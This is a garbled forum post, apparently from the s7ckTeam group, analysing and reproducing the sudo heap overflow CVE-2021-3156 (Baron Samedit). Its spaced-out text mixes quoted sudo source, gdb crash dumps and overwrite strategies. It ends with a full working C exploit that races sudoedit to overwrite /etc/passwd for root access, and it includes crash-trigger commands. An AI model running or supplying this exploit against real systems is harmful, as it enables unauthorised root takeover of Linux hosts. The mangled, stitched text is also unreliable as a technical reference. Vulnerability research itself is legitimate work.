[27177] 2021-03-01_追洞小组Linuxsudo提权CVE-2021-3156分析复现及exp的编写(上)

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-19
2021-03-01_追洞小组Linuxsudo提权CVE-2021-3156分析复现及exp的编写(上)   |   L i n u x   s u d o C V E - 2 0 2 1 - 3 1 5 6 e x p     M s 0 8 0 6 7   2 0 2 1 - 0 3 - 0 1 #   , 7 #   , 2 3 M S 0 8 0 6 7   W E B M s 0 8 0 6 7     Q u a l y s     U n i x     s u d o   1 0 使   s u d o     r o o t B a r o n   S a m e d i t   B a r o n   S a m e d i     s u d o e d i t   s u d o     U n i x     L i n u x   使 1 0 2 0 1 1 7   ( c o m m i t   8 2 5 5 e d 6 9 )     s u d o e r s   n o b o d y s u d o " s h e l l " ( s h e l l   - c   )   - s   s u d o   M O D E _ S H E L L     - i   s u d o   M O D E _ S H E L L     M O D E _ L O G I N _ S H E L L   s u d o m a i n ( ) p a r s e _ a r g s ( ) a r g v 6 0 9 - 6 1 7 5 8 7 - 5 9 5 5 9 0 - 5 9 1   s u d o e r s _ p o l i c y _ m a i n ( )     s e t _ c m n d ( )     u s e r _ a r g s   ( 8 6 4 - 8 7 1 ) ( 8 6 6 - 8 6 7 ) s u d o e r s s u d o   1 . 8 . 2     1 . 8 . 3 1 p 2 s u d o   1 . 9 . 0     1 . 9 . 5 p 1 s u d o   = <   1 . 9 . 5 p 2 h t t p s : / / w w w . q u a l y s . c o m / 2 0 2 1 / 0 1 / 2 6 / c v e - 2 0 2 1 - 3 1 5 6 / b a r o n - s a m e d i t - h e a p - b a s e d - o v e r f l o w - s u d o . t x t 5 7 1           i f   ( I S S E T ( m o d e ,   M O D E _ R U N )   & &   I S S E T ( f l a g s ,   M O D E _ S H E L L ) )   { 5 7 2           c h a r   * * a v ,   * c m n d   =   N U L L ; 5 7 3           i n t   a c   =   1 ; . . . 5 8 1           c m n d   =   d s t   =   r e a l l o c a r r a y ( N U L L ,   c m n d _ s i z e ,   2 ) ; . . . 5 8 7           f o r   ( a v   =   a r g v ;   * a v   ! =   N U L L ;   a v + + )   { 5 8 8           f o r   ( s r c   =   * a v ;   * s r c   ! =   ' 0 ' ;   s r c + + )   { 5 8 9         / *   q u o t e   p o t e n t i a l   m e t a   c h a r a c t e r s   * / 5 9 0       i f   ( ! i s a l n u m ( ( u n s i g n e d   c h a r ) * s r c )   & &   * s r c   ! =   ' _ ' & &   * s r c   ! =   ' - '   & &   * s r c   ! =   ' $ ' ) 5 9 1       * d s t + +   =   ' ' ; 5 9 2       * d s t + +   =   * s r c ; 5 9 3         } 5 9 4       * d s t + +   =   ' ' ; 5 9 5         } . . . 6 0 0       a c   + =   2 ;   / *   - c   c m n d   * / . . . 6 0 3       a v   =   r e a l l o c a r r a y ( N U L L ,   a c   +   1 ,   s i z e o f ( c h a r   * ) ) ; . . . 6 0 9       a v [ 0 ]   =   ( c h a r   * ) u s e r _ d e t a i l s . s h e l l ;   / *   p l u g i n   m a y   o v e r r i d e s h e l l   * / 6 1 0       i f   ( c m n d   ! =   N U L L )   { 6 1 1       a v [ 1 ]   =   " - c " ; 6 1 2       a v [ 2 ]   =   c m n d ; 6 1 3         } 6 1 4       a v [ a c ]   =   N U L L ; 6 1 5 6 1 6       a r g v   =   a v ; 6 1 7       a r g c   =   a c ; 6 1 8         }
s e t c m n d ( ) ` u s e r a r g s ` 8 5 2 - 8 5 3 M O D E _ S H E L L M O D E _ L O G I N _ S H E L L 8 5 8   M O D E _ S H E L L 5 7 1 p a r s e _ a r g s ( )   s e t _ c m n d ( ) p a r s e _ a r g s ( ) M O D E _ S H E L L   M O D E _ E D I T   M O D E _ C H E C K 使 M O D E _ R U N M O D E _ E D I T - e 3 6 1 M O D E _ C H E C K - l 4 2 3 5 1 9 p a r s e _ a r g s ( )   v a l i d _ f l a g s     M O D E _ S H E L L 3 6 3 4 2 4 M O D E _ S H E L L 5 3 2 5 3 3 退 s u d o e d i t s u d o s u d o p a r s e _ a r g s ( )   M O D E _ E D I T 2 7 0   v a l i d _ f l a g s v a l i d _ f l a g s     M O D E _ S H E L L 1 2 7 2 4 9 s u d o e d i t   - s M O D E _ E D I T M O D E _ S H E L L M O D E _ R U N u s e r _ a r g s 8 1 9           i f   ( s u d o _ m o d e   &   ( M O D E _ R U N   |   M O D E _ E D I T   |   M O D E _ C H E C K ) )   {   . . .   8 5 2                           f o r   ( s i z e   =   0 ,   a v   =   N e w A r g v   +   1 ;   * a v ;   a v + + )   8 5 3                                   s i z e   + =   s t r l e n ( * a v )   +   1 ;   8 5 4                         i f   ( s i z e   = =   0   | |   ( u s e r _ a r g s   =   m a l l o c ( s i z e ) )   = =   N U L L )   {   . . .   8 5 7                           }   8 5 8                           i f   ( I S S E T ( s u d o _ m o d e ,   M O D E _ S H E L L | M O D E _ L O G I N _ S H E L L ) )   {   . . .   8 6 4             f o r   ( t o   =   u s e r _ a r g s ,   a v   =   N e w A r g v   +   1 ;   ( f r o m   =   * a v ) ;   a v + + )   {   8 6 5                                           w h i l e   ( * f r o m )   {   8 6 6                 i f   ( f r o m [ 0 ]   = =   ' '   & &   ! i s s p a c e ( ( u n s i g n e d   c h a r ) f r o m [ 1 ] ) )   8 6 7                                                           f r o m + + ;   8 6 8                                                   * t o + +   =   * f r o m + + ;   8 6 9                                           }   8 7 0                                           * t o + +   =   '   ' ;   8 7 1                                   }   . . .   8 8 4                           }   . . .   8 8 6           } 8 6 6 f r o m [ 0 ] f r o m [ 1 ] n u l l C 8 6 7 f r o m n u l l 8 6 8 n u l l u s e r _ a r g s f r o m                             n u l l 8 6 5 - 8 6 9 w h i l e u s e r _ a r g s   8 1 9           i f   ( s u d o _ m o d e   &   ( M O D E _ R U N   |   M O D E _ E D I T   |   M O D E _ C H E C K ) )   {     . . .     8 5 8           i f   ( I S S E T ( s u d o _ m o d e ,   M O D E _ S H E L L | M O D E _ L O G I N _ S H E L L ) )   {   5 7 1           i f   ( I S S E T ( m o d e ,   M O D E _ R U N )   & &   I S S E T ( f l a g s ,   M O D E _ S H E L L ) )   { 3 5 8                                   c a s e   ' e ' : . . . 3 6 1                                           m o d e   =   M O D E _ E D I T ; 3 6 2                                           s u d o _ s e t t i n g s [ A R G _ S U D O E D I T ] . v a l u e   =   " t r u e " ; 3 6 3                                           v a l i d _ f l a g s   =   M O D E _ N O N I N T E R A C T I V E ; 3 6 4                                           b r e a k ; . . . 4 1 6                                   c a s e   ' l ' : . . . 4 2 3                                           m o d e   =   M O D E _ L I S T ; 4 2 4                                           v a l i d _ f l a g s   =   M O D E _ N O N I N T E R A C T I V E | M O D E _ L O N G _ L I S T ; 4 2 5                                           b r e a k ; . . . 5 1 8           i f   ( a r g c   >   0   & &   m o d e   = =   M O D E _ L I S T ) 5 1 9                   m o d e   =   M O D E _ C H E C K ; . . 5 3 2           i f   ( ( f l a g s   &   v a l i d _ f l a g s )   ! =   f l a g s ) 5 3 3                   u s a g e ( 1 ) ; 1 2 7   # d e f i n e   D E F A U L T _ V A L I D _ F L A G S           ( M O D E _ B A C K G R O U N D | M O D E _ P R E S E R V E _ E N V | M O D E _ R E S E T _ H O M E | M O D E _ L O G I N _ S H E L L | M O D E _ N O N I N T E R A C T I V E | M O D E _ S H E L L ) . . . 2 4 9           i n t   v a l i d _ f l a g s   =   D E F A U L T _ V A L I D _ F L A G S ; . . . 2 6 7           p r o g l e n   =   s t r l e n ( p r o g n a m e ) ; 2 6 8           i f   ( p r o g l e n   >   4   & &   s t r c m p ( p r o g n a m e   +   p r o g l e n   -   4 ,   " e d i t " )   = =   0 )   { 2 6 9                   p r o g n a m e   =   " s u d o e d i t " ; 2 7 0                   m o d e   =   M O D E _ E D I T ; 2 7 1                   s u d o _ s e t t i n g s [ A R G _ S U D O E D I T ] . v a l u e   =   " t r u e " ; 2 7 2           } s u d o e d i t   - s   ' '   ` p e r l   - e   ' p r i n t   " A "   x   6 5 5 3 6 ' ` m a l l o c ( ) :   c o r r u p t e d   t o p   s i z e A b o r t e d   ( c o r e   d u m p e d )
  a m d 6 4   L i n u x   2 4   u s e r _ a r g s   3 2   A = A 0 B = B 0   s i z e   ( 0 x 0 0 6 2 3 d 4 2 0 0 6 1 3 d 4 1 ) C = c 0 D = d 0   ( 0 x 0 0 6 4 3 d 4 4 0 0 6 3 3 d 4 3 )     f d   E = e 0 F = f 0   ( 0 x 0 0 6 6 3 d 4 6 0 0 6 5 3 d 4 5 )     b k   1 s t r u c t   s u d o _ h o o k _ e n t r y   o v e r w r i t e s u d o p r o c e s s _ h o o k s _ g e t e n v ( ) ( 1 0 8 ) g e t e n v _ f n s u d o _ h o o k _ e n t r y : s t r u c t   s u d o _ h o o k _ e n t r y   o v e r w r i t e , : g e t e n v _ f n ( 1 0 8 ) e x e c v e ( ) : i n t   e x e c v e ( c o n s t   c h a r   * f i l e n a m e ,   c h a r   * c o n s t   a r g v [   ] ,   c h a r   * c o n s t   e n v p [   ] ) ; g e t e n v _ f n ( s u d o e r s . s o s u d o e r s _ h o o k _ g e t e n v ) A S L R s u d o e r s . s o e x e c v e ( ) e x e c v ( ) 0 x 8 0 0 0 0 0 0 0 0 0 0 0 g e t e n v _ f n g e t e n v _ f n ( 0 x 8 0 0 0 0 0 0 0 0 0 0 0 ) g e t e n v _ f n g e t e n v _ f n 2 2 g e t e n v _ f n 0 x 8 a 0 0 s u d o e r s . s o e x e c v ( ) 0 x 0 0 u s e r _ a r g s s e t _ c m n d ( ) A S L R 2 ^ ( 3 * 8 - 1 2 ) = 2 ^ 1 2 = 4 0 9 6 e x e c v ( ) g e t e n v _ f n r o o t   " S Y S T E M D B Y P A S S U S E R D B " 2   s t r u c t   s e r v i c e _ u s e r   o v e r w r i t e g l i b c n s s _ l o a d _ l i b r a r y ( ) 3 4 4 l i b r a r y s e r v i c e _ u s e r u s e r _ a r g s 8 5 2 - 8 5 4 8 5 2 8 5 3 u s e r _ a r g s 8 6 6 - 8 6 8 e n v   - i   ' A A = a '   ' B = b '   ' C = c '   ' D = d '   ' E = e '   ' F = f '   s u d o e d i t   - s   ' 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 ' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | - - - - - - - - + - - - - - - - - + - - - - - - - - + - - - - - - - - | - - - - - - - - + - - - - - - - - + - - - - - - - - + - - - - - - - - + - -     |                 |                 | 1 2 3 4 5 6 7 8 | 9 0 1 2 3 4 5 6 | 7 8 9 0 1 2 . A | A = a . B = b . | C = c . D = d . | E = e . F = f . | - - | - - - - - - - - + - - - - - - - - + - - - - - - - - + - - - - - - - - | - - - - - - - - + - - - - - - - - + - - - - - - - - + - - - - - - - - + - -                             s i z e     < - - - -   u s e r _ a r g s   b u f f e r   - - - - >     s i z e             f d               b k P r o g r a m   r e c e i v e d   s i g n a l   S I G S E G V ,   S e g m e n t a t i o n   f a u l t . 0 x 0 0 0 0 5 6 2 9 1 a 2 5 d 5 0 2   i n   p r o c e s s _ h o o k s _ g e t e n v ( n a m e = n a m e @ e n t r y = 0 x 7 f 4 a 6 d 7 d c 0 4 6   " S Y S T E M D _ B Y P A S S _ U S E R D B " ,   v a l u e = v a l u e @ e n t r y = 0 x 7 f f c 5 9 5 c c 2 4 0 )   a t   . . / . . / s r c / h o o k s . c : 1 0 8 = >   0 x 5 6 2 9 1 a 2 5 d 5 0 2   < p r o c e s s _ h o o k s _ g e t e n v + 8 2 > :         c a l l q     * 0 x 8 ( % r b x ) r b x                         0 x 5 6 2 9 1 c 1 d f 2 b 0             9 4 7 3 4 5 6 5 3 7 2 5 9 2 0 x 5 6 2 9 1 c 1 d f 2 b 0 :   0 x 4 1 4 1 4 1 4 1 4 1 4 1 4 1 4 1             0 x 4 1 4 1 4 1 4 1 4 1 4 1 4 1 4 1   9 9   i n t 1 0 0   p r o c e s s _ h o o k s _ g e t e n v ( c o n s t   c h a r   * n a m e ,   c h a r   * * v a l u e )   1 0 1   {   1 0 2           s t r u c t   s u d o _ h o o k _ e n t r y   * h o o k ;   1 0 3           c h a r   * v a l   =   N U L L ;   . . .   1 0 7           S L I S T _ F O R E A C H ( h o o k ,   & s u d o _ h o o k _ g e t e n v _ l i s t ,   e n t r i e s )   {   1 0 8                   r c   =   h o o k - > u . g e t e n v _ f n ( n a m e ,   & v a l ,   h o o k - > c l o s u r e ) ; n a m e ( S Y S T E M D _ B Y P A S S _ U S E R D B ) e x e c v e ( ) ; & v a l ( ) e x e c v e ( ) a r g v ; h o o k - >   c l o s u r e N U L L e x e c v e e n v p 0 0 0 0 0 0 0 0 0 0 0 0 8 a 0 0   < e x e c v @ p l t > :         8 a 0 0 :               f 3   0 f   1 e   f a                           e n d b r 6 4                   8 a 0 4 :               f 2   f f   2 5   6 5   5 5   0 5   0 0         b n d   j m p q   * 0 x 5 5 5 6 5 ( % r i p )                 #   5 d f 7 0   < e x e c v @ G L I B C _ 2 . 2 . 5 >                 8 a 0 b :               0 f   1 f   4 4   0 0   0 0                     n o p l       0 x 0 ( % r a x , % r a x , 1 s u d o e d i t [ 1 5 9 0 4 ]   g e n e r a l   p r o t e c t i o n   f a u l t   i p : 5 5 e 9 b 6 4 5 b 5 0 2   s p : 7 f f e 5 3 d 6 f a 4 0   e r r o r : 0   i n   s u d o [ 5 5 e 9 b 6 4 4 e 0 0 0 + 1 a 0 0 0 ]                                                                           ^ ^ ^ s u d o e d i t [ 1 5 9 0 6 ] :   s e g f a u l t   a t   3 2 3 2 3 0 3 0 3 0 3 0   i p   0 0 0 0 3 2 3 2 3 0 3 0 3 0 3 0   s p   0 0 0 0 7 f f e e a b f 2 8 6 8   e r r o r   1 4   i n   s u d o [ 5 5 b 0 3 6 c 1 6 0 0 0 + 5 0 0 0 ] ^ ^ ^ ^ P r o g r a m   r e c e i v e d   s i g n a l   S I G S E G V ,   S e g m e n t a t i o n   f a u l t . 0 x 0 0 0 0 7 f 6 b f 9 c 2 9 4 e e   i n   n s s _ l o a d _ l i b r a r y   ( n i = n i @ e n t r y = 0 x 5 5 c f 1 a 1 d d 0 4 0 )   a t   n s s w i t c h . c : 3 4 4 = >   0 x 7 f 6 b f 9 c 2 9 4 e e   < n s s _ l o a d _ l i b r a r y + 4 6 > :                 c m p q       $ 0 x 0 , 0 x 8 ( % r b x ) r b x                         0 x 4 1 4 1 4 1 4 1 4 1 4 1 4 1         1 8 3 6 7 6 2 2 0 0 9 6 6 7 9 0 5 3 2 7   s t a t i c   i n t 3 2 8   n s s _ l o a d _ l i b r a r y   ( s e r v i c e _ u s e r   * n i ) 3 2 9   { 3 3 0       i f   ( n i - > l i b r a r y   = =   N U L L ) 3 3 1           { . . . 3 3 8               n i - > l i b r a r y   =   n s s _ n e w _ s e r v i c e   ( s e r v i c e _ t a b l e   ? :   & d e f a u l t _ t a b l e , 3 3 9                                                                             n i - > n a m e ) ; . . . 3 4 2           } 3 4 3  
s e r v i c e _ u s e r 3 d e f _ t i m e s t a m p d i r   o v e r w r i t e s u d o s u d o ( A A A A A A ,   A A A A A A A A A ,   e t c ) r o o t s u d o t i m e s t a m p   f i l e d e f _ t i m e s t a m p d i r s u d o t i m e s t a m p   d i r e c t o r y d e f _ t i m e s t a m p d i r s u d o t s _ m k d i r s ( ) r o o t S U I D c h o w n ( ) r o o t S U I D ) 使 r o o t s u d o t i m e s t a m p l o c k ( ) b u g ` t s m k d i r s ( ) t i m e s t a m p _ o p e n ( ) e t c / p a s s w d ` r o o t 6 4 4 / e t c / p a s s w d 0 x 3 8 ( " r o o t :   x : 0 : 0 : . . . " ) , t i m e s t a m p _ e n t r y e n t r y 6 5 2 e n t r y . t p y e 0 x 7 8 3 a   ( " : x " ) , T S _ L O C K E X C L 6 5 7 3 1 8 e n t r y - > s i z e / e t c / p a s s w d e n t r y - > s i z e 0 x 7 4 6 f ( " o t " ) , s i z e o f ( s t r u c t   t i m e s t a m p _ e n t r y ) s u d o / e t c / p a s s w d ( ) / e t c / p a s s w d r o o t P O C r o o t 使 s u d o e d i t   - s   / s u d o e d i t : u s a g e : E x p s t r u c t   s e r v i c e _ u s e r   o v e r w r i t e h t t p s : / / g i t h u b . c o m / b l a s t y / C V E - 2 0 2 1 - 3 1 5 6 3 4 3   3 4 4       i f   ( n i - > l i b r a r y - > l i b _ h a n d l e   = =   N U L L ) 3 4 5           { 3 4 6               / *   L o a d   t h e   s h a r e d   l i b r a r y .     * / 3 4 7               s i z e _ t   s h l e n   =   ( 7   +   s t r l e n   ( n i - > n a m e )   +   3 4 8                                               +   s t r l e n   ( _ _ n s s _ s h l i b _ r e v i s i o n )   +   1 ) ; 3 4 9               i n t   s a v e d _ e r r n o   =   e r r n o ; 3 5 0               c h a r   s h l i b _ n a m e [ s h l e n ] ; 3 5 1   3 5 2               / *   C o n s t r u c t   s h a r e d   o b j e c t   n a m e .     * / 3 5 3               _ _ s t p c p y   ( _ _ s t p c p y   ( _ _ s t p c p y   ( _ _ s t p c p y   ( s h l i b _ n a m e , 3 5 4                                                                                               " l i b n s s _ " ) , 3 5 5                                                                           n i - > n a m e ) , 3 5 6                                                       " . s o " ) , 3 5 7                                   _ _ n s s _ s h l i b _ r e v i s i o n ) ; 3 5 8   3 5 9               n i - > l i b r a r y - > l i b _ h a n d l e   =   _ _ l i b c _ d l o p e n   ( s h l i b _ n a m e ) ; 使 N U L L n i - >   l i b r a r y 3 3 0 - 3 4 2 3 4 4 3 4 4 - 3 5 9   X   /   X n i - >   n a m e   s y s t e m d ; 3 5 3 - 3 5 7 l i b n s s _ X   /   X . s o . 2   l i b n s s _ s y s t e m d . s o . 2 ; 3 5 9 l i b n s s _ X   /   X . s o . 2   r o o t _ i n i t c h o w n ( ) r o o t r o o t r o o t   t i m e s t a m p _ e n t r y   6 5   s t r u c t   t i m e s t a m p _ e n t r y   {     6 6           u n s i g n e d   s h o r t   v e r s i o n ;           / *   v e r s i o n   n u m b e r   * /     6 7           u n s i g n e d   s h o r t   s i z e ;                 / *   e n t r y   s i z e   * /     6 8           u n s i g n e d   s h o r t   t y p e ;                 / *   T S _ G L O B A L ,   T S _ T T Y ,   T S _ P P I D   * /   . .     7 8   } ;   3 0 5   s t a t i c   s s i z e _ t     3 0 6   t s _ w r i t e ( i n t   f d ,   c o n s t   c h a r   * f n a m e ,   s t r u c t   t i m e s t a m p _ e n t r y   * e n t r y ,   o f f _ t   o f f s e t )     3 0 7   {     . . .     3 1 8                   n w r i t t e n   =   p w r i t e ( f d ,   e n t r y ,   e n t r y - > s i z e ,   o f f s e t ) ;     . . .     3 5 0   }   6 1 9   b o o l     6 2 0   t i m e s t a m p _ l o c k ( v o i d   * v c o o k i e ,   s t r u c t   p a s s w d   * p w )     6 2 1   {     6 2 2           s t r u c t   t s _ c o o k i e   * c o o k i e   =   v c o o k i e ;     6 2 3           s t r u c t   t i m e s t a m p _ e n t r y   e n t r y ;     . . .     6 4 4           n r e a d   =   r e a d ( c o o k i e - > f d ,   & e n t r y ,   s i z e o f ( e n t r y ) ) ;     6 4 5           i f   ( n r e a d   = =   0 )   {     . . .     6 5 2           }   e l s e   i f   ( e n t r y . t y p e   ! =   T S _ L O C K E X C L )   {     . . .     6 5 7           i f   ( t s _ w r i t e ( c o o k i e - > f d ,   c o o k i e - > f n a m e ,   & e n t r y ,   0 )   = =   - 1 ) / /   E x p l o i t   b y   @ g f _ 2 5 6   a k a   c t s / /   W i t h   h e l p   f r o m   r 4 j / /   O r i g i n a l   a d v i s o r y   b y   B a r o n   S a m e d i t   o f   Q u a l y s / /   T e s t e d   o n   U b u n t u   1 8 . 0 4   a n d   2 0 . 0 4 / /   Y o u   w i l l   p r o b a b l y   n e e d   t o   a d j u s t   R A C E _ S L E E P _ T I M E .
/ /   E x p l o i t   b y   @ g f _ 2 5 6   a k a   c t s / /   W i t h   h e l p   f r o m   r 4 j / /   O r i g i n a l   a d v i s o r y   b y   B a r o n   S a m e d i t   o f   Q u a l y s / /   T e s t e d   o n   U b u n t u   1 8 . 0 4   a n d   2 0 . 0 4 / /   Y o u   w i l l   p r o b a b l y   n e e d   t o   a d j u s t   R A C E _ S L E E P _ T I M E . # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t d i n t . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < s t r i n g . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < a s s e r t . h > # i n c l u d e   < u n i s t d . h > # i n c l u d e   < s y s / w a i t . h > # i n c l u d e   < s y s / t y p e s . h > # i n c l u d e   < s y s / r e s o u r c e . h > # i n c l u d e   < s y s / s t a t . h > # i n c l u d e   < u n i s t d . h > # i n c l u d e   < f c n t l . h > # i n c l u d e   < p w d . h > / /   ! ! !   b e s t   v a l u e   o f   t h i s   v a r i e s   f r o m   s y s t e m - t o - s y s t e m   ! ! !   / /   ! ! !   y o u   w i l l   p r o b a b l y   n e e d   t o   t u n e   t h i s   ! ! !   # d e f i n e   R A C E _ S L E E P _ T I M E   1 0 0 0 0 c h a r   * t a r g e t _ f i l e ; c h a r   * s r c _ f i l e ; s i z e _ t   q u e r y _ t a r g e t _ s i z e ( ) {         s t r u c t   s t a t   s t ;         s t a t ( t a r g e t _ f i l e ,   & s t ) ;         r e t u r n   s t . s t _ s i z e ; } c h a r *   r e a d _ s r c _ c o n t e n t s ( ) {         F I L E *   f   =   f o p e n ( s r c _ f i l e ,   " r b " ) ;         i f   ( ! f )   {                 p u t s ( " o h   n o   b a b y   w h a t   a r e   y o u   d o i n g   : ( " ) ;                 a b o r t ( ) ;         }         f s e e k ( f ,   0 ,   S E E K _ E N D ) ;         l o n g   f s i z e   =   f t e l l ( f ) ;         f s e e k ( f ,   0 ,   S E E K _ S E T ) ;         c h a r   * c o n t e n t   =   m a l l o c ( f s i z e   +   1 ) ;         f r e a d ( c o n t e n t ,   1 ,   f s i z e ,   f ) ;         f c l o s e ( f ) ;         r e t u r n   c o n t e n t ; } c h a r *   g e t _ m y _ u s e r n a m e ( ) {         / /   g e t l o g i n   c a n   r e t u r n   i n c o r r e c t   r e s u l t   ( f o r   e x a m p l e ,   r o o t   u n d e r   s u ) !         s t r u c t   p a s s w d   * p w s   =   g e t p w u i d ( g e t u i d ( ) ) ;         r e t u r n   s t r d u p ( p w s - > p w _ n a m e ) ; } i n t   m a i n ( i n t   m y _ a r g c ,   c h a r   * * m y _ a r g v ) {         p u t s ( " C V E - 2 0 2 1 - 3 1 5 6   P o C   b y   @ g f _ 2 5 6 " ) ;         p u t s ( " o r i g i n a l   a d v i s o r y   b y   B a r o n   S a m e d i t " ) ;                 i f   ( m y _ a r g c   ! =   3 )   {                 p u t s ( " . / m e m e   < t a r g e t   f i l e >   < s r c   f i l e > " ) ;                 p u t s ( " E x a m p l e :   . / m e m e   / e t c / p a s s w d   m y _ f a k e _ p a s s w d _ f i l e " ) ;                 r e t u r n   1 ;         }         t a r g e t _ f i l e   =   m y _ a r g v [ 1 ] ;         s r c _ f i l e   =   m y _ a r g v [ 2 ] ;         p r i n t f ( " w e   w i l l   o v e r w r i t e   % s   w i t h   s h i t   f r o m   % s n " ,   t a r g e t _ f i l e ,   s r c _ f i l e ) ;         c h a r *   m y u s e r n a m e   =   g e t _ m y _ u s e r n a m e ( ) ;         p r i n t f ( " h i ,   m y   n a m e   i s   % s n " ,   m y u s e r n a m e ) ;         s i z e _ t   i n i t i a l _ s i z e   =   q u e r y _ t a r g e t _ s i z e ( ) ;         p r i n t f ( " % s   i s   % z i   b i g   r i g h t   n o w n " ,   t a r g e t _ f i l e ,   i n i t i a l _ s i z e ) ;         c h a r *   s h i t _ t o _ w r i t e   =   r e a d _ s r c _ c o n t e n t s ( ) ;         c h a r   m e m e d i r [ 1 0 0 0 ] ;         c h a r   m y _ s y m l i n k [ 1 0 0 0 ] ;         c h a r   o v e r f l o w [ 1 0 0 0 ] ;         c h a r *   b i g s h i t   =   c a l l o c ( 1 , 0 x 1 0 0 0 0 ) ;         m e m s e t ( b i g s h i t ,   ' A ' ,   0 x f f f f ) ;   / /   n e e d   a   b i g   s h i t   i n   t h e   s t a c k   s o   t h e   w r i t e   d o e s n ' t   f a i l   w i t h   b a d   a d d r e s s         c h a r   * a r g v [ ]   =   { " / u s r / b i n / s u d o e d i t " ,   " - A " ,   " - s " ,   " " ,         o v e r f l o w ,         N U L L         } ;         c h a r   * e n v p [ ]   =   {                 " n n n n n " ,   / /   p u t   s o m e   f u c k e n   n e w l i n e s   h e r e   t o   s e p a r a t e   o u r   r e a l   c o n t e n t s   f r o m   t h e   j u n k                 s h i t _ t o _ w r i t e ,                 " S U D O _ A S K P A S S = / b i n / f a l s e " ,                 " L A N G = C . U T F - 8 @ a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a " ,           b i g s h i t ,                 N U L L         } ;         p u t s ( " o k   p o d r a c i n g   t i m e   b i t c h e s " ) ;         f o r   ( i n t   i   =   0 ;   i   <   5 0 0 0 ;   i + + )   {                 s p r i n t f ( m e m e d i r ,   " a y y l m a o b i g c h u n g u s s s s s s s s s s s s 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 % 0 8 d " ,   i ) ;                 s p r i n t f ( o v e r f l o w ,   " 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 % s " ,   m e m e d i r ) ;                 s p r i n t f ( m y _ s y m l i n k ,   " % s / % s " ,   m e m e d i r ,   m y u s e r n a m e ) ;                 p u t s ( m e m e d i r ) ;                                 i f   ( a c c e s s ( m e m e d i r ,   F _ O K )   = =   0 )   {                         p r i n t f ( " d u d e ,   % s   a l r e a d y   e x i s t s ,   d o   i t   f r o m   a   c l e a n   w o r k i n g   d i r n " ,   m e m e d i r ) ;                         r e t u r n   1 ;                
E x p g d b . . .     3 6 0 0 0 + }                 p i d _ t   c h i l d p i d   =   f o r k ( ) ;                 i f   ( c h i l d p i d )   {   / /   p a r e n t                         u s l e e p ( R A C E _ S L E E P _ T I M E ) ;                         m k d i r ( m e m e d i r ,   0 7 0 0 ) ;                         s y m l i n k ( t a r g e t _ f i l e ,   m y _ s y m l i n k ) ;                         w a i t p i d ( c h i l d p i d ,   0 ,   0 ) ;                 }   e l s e   {   / /   c h i l d                         s e t p r i o r i t y ( P R I O _ P R O C E S S ,   0 ,   2 0 ) ;   / /   s e t   n i c e   t o   2 0   f o r   r a c e   r e l i a b i l i t y                         e x e c v e ( " / u s r / b i n / s u d o e d i t " ,   a r g v ,   e n v p ) ;   / /   n o r e t u r n                         p u t s ( " e x e c v e   f a i l s ? ! " ) ;                         a b o r t ( ) ;                 }                 i f   ( q u e r y _ t a r g e t _ s i z e ( )   ! =   i n i t i a l _ s i z e )   {                         p u t s ( " t a r g e t   f i l e   h a s   a   B R U H   M O M E N T ! ! ! !   S U C C e s s ? ? ? " ) ;                         s y s t e m ( " x d g - o p e n   ' h t t p s : / / w w w . y o u t u b e . c o m / w a t c h ? v = 4 v k R 1 G _ D U V c ' " ) ;   / /   a y y   l m a o                         r e t u r n   0 ;                 }         }         p u t s ( " F a i l e d ? " ) ;         p u t s ( " i f   a l l   t h e   m e m e   d i r s   a r e   o w n e d   b y   r o o t ,   t h e   u s l e e p   n e e d s   t o   b e   d e c r e a s e d . " ) ;         p u t s ( " i f   t h e y ' r e   a l l   o w n e d   b y   y o u ,   t h e   u s l e e p   n e e d s   t o   b e   i n c r e a s e d " ) ;         r e t u r n   0 ; }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则